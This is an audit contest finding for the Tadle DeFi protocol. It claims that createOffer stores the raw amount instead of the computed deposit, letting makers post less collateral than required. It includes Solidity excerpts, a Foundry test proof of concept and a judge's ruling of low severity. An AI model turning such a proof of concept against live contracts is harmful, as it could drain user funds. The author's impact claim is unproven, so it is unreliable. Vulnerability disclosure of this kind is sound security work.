Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: low
Valid

`Makers` can back up points with lesser collateral than required

OdeWeb3

Vulnerability details

transferAmount not updated correctly in OfferInfo and StockInfo struct when an offer is created by calling createOffer. Which leads to a Maker depositing less money than what is required to back his collateral stock.

uint256 transferAmount = OfferLibraries.getDepositAmount(
params.offerType,
params.collateralRate,
params.amount,
true,
Math.Rounding.Ceil
);

when it is an Ask offer, meaning it is a is_Maker, the following code scales down the transferAmount rather than returning the full amount.

function getDepositAmount(
OfferType _offerType,
uint256 _collateralRate,
uint256 _amount,
bool _isMaker,
Math.Rounding _rounding
) internal pure returns (uint256) {
/// @dev bid offer
if (_offerType == OfferType.Bid && _isMaker) { // bid offer
return _amount;
}
​
/// @dev ask order
if (_offerType == OfferType.Ask && !_isMaker) { //ask order
return _amount;
}
return
Math.mulDiv( // ask offer && bid order
_amount,
_collateralRate,
Constants.COLLATERAL_RATE_DECIMAL_SCALER,
_rounding
);
}
​

The amount that was passed into this methods were wrong

/// @dev update offer info
offerInfoMap[offerAddr] = OfferInfo({
id: offerId, //@note offerAddr[0] now has an id of offerId = 1
authority: _msgSender(),
maker: makerAddr,
offerStatus: OfferStatus.Virgin,
offerType: params.offerType,
points: params.points,
amount: params.amount, //@audit this should be the transfer amount since the amount that was deposited depends on the order type same with StockInfo.amount below
collateralRate: params.collateralRate,
abortOfferStatus: AbortOfferStatus.Initialized,
usedPoints: 0,
tradeTax: 0,
settledPoints: 0,
settledPointTokenAmount: 0,
settledCollateralAmount: 0
});
​
/// @dev update stock info
stockInfoMap[stockAddr] = StockInfo({
id: offerId,
stockStatus: StockStatus.Initialized,
stockType: params.offerType == OfferType.Ask
? StockType.Bid
: StockType.Ask,
authority: _msgSender(),
maker: makerAddr,
preOffer: address(0x0),
offer: offerAddr,
points: params.points,
amount: params.amount //@audit this should be the transfer amount since the amount that was deposited depends on the order type same with OfferInfo.amount above
});

POC

The users balance after settlement is going to increase. Meaning he backed up his collateral with lesser amount than actually required
Logs:
bal after 99999998800000000000000000
bal after settlement 99999999800000000000000000

function test_user_lose_funds() external {
uint userBalBefore = mockUSDCToken.balanceOf((bob));
​
vm.startPrank(bob); // bob wants to sell 1000 points at the rate of 0.01
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
​
uint userBalAfter = mockUSDCToken.balanceOf(bob);
console2.log("bal after", userBalAfter );
​
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
​
vm.prank(alice);
preMarktes.createTaker(offerAddr, 1000); // 500 * 0.01 / 1000
​
// => Settlements
vm.prank(admin); // owner
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1, // _tge,
3600 // 1 hour // _settlementPeriod
);
​
​
// Bob
vm.prank(bob);
deliveryPlace.settleAskMaker(offerAddr, 400);
​
capitalPool.approve(address(mockUSDCToken));
// withdraw back the funds
vm.prank(bob);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
​
// user balance after settlement
uint userBalAfterSettlement = mockUSDCToken.balanceOf(bob);
console2.log("bal after settlement", userBalAfterSettlement );
​
}

Impact

I can forsee the impact of this to be very great, and infact could lead to protocol insolvency. However, a lot of abstraction are still not very clear and would require a direct communication with sponsors

Mitigation

I cant really think of a solution right now as the communication with sponsors wasn'nt so great on this contest, hence a lot of voids that needs to be filled

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-Rounding-Direction

Duplicate of #456, however, for issues noting rounding directions, will be low severity given the impact is not proven sufficiently with a PoC/numerical example and most rounding will not result in significant losses e.g. most examples only proved at most a 1 wei difference when computing `depositAmount/platFormFees` and involves lower amount offers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.